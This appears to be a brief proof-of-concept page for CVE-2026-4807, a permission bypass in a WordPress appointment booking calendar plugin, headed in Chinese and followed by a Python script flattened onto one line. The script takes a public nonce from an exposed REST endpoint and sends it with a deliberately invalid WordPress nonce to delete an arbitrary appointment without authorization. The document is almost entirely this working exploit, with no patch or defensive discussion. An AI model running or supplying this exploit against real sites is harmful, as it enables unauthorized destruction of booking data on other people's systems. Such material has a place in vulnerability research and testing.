CVE-2026-4807 WordPress Appointment Booking Calendar权限绕过漏洞

import requests target_url = "http://example.com" # Step 1: Fetch the public nonce from the exposed endpoint embed_endpoint = f"{target_url}/wp-json/ssa/v1/embed-inner" try: response = requests.get(embed_endpoint) data = response.json() public_nonce = data.get('public_nonce') if public_nonce: # Step 2: Use the nonce to delete an arbitrary appointment # Replace TARGET_ID with the actual ID of the appointment to delete appointment_id = "TARGET_ID" delete_endpoint = f"{target_url}/wp-json/ssa/v1/appointments/{appointment_id}/delete" headers = { # X-WP-Nonce can be arbitrary, as it will fail and trigger fallback "X-WP-Nonce": "arbitrary_invalid_nonce", # X-PUBLIC-Nonce contains the valid nonce obtained in Step 1 "X-PUBLIC-Nonce": public_nonce } # Sending the delete request delete_response = requests.post(delete_endpoint, headers=headers) print(f"Delete Status Code: {delete_response.status_code}") print(f"Response Body: {delete_response.text}") else: print("Failed to retrieve public_nonce.") except Exception as e: print(f"An error occurred: {e}")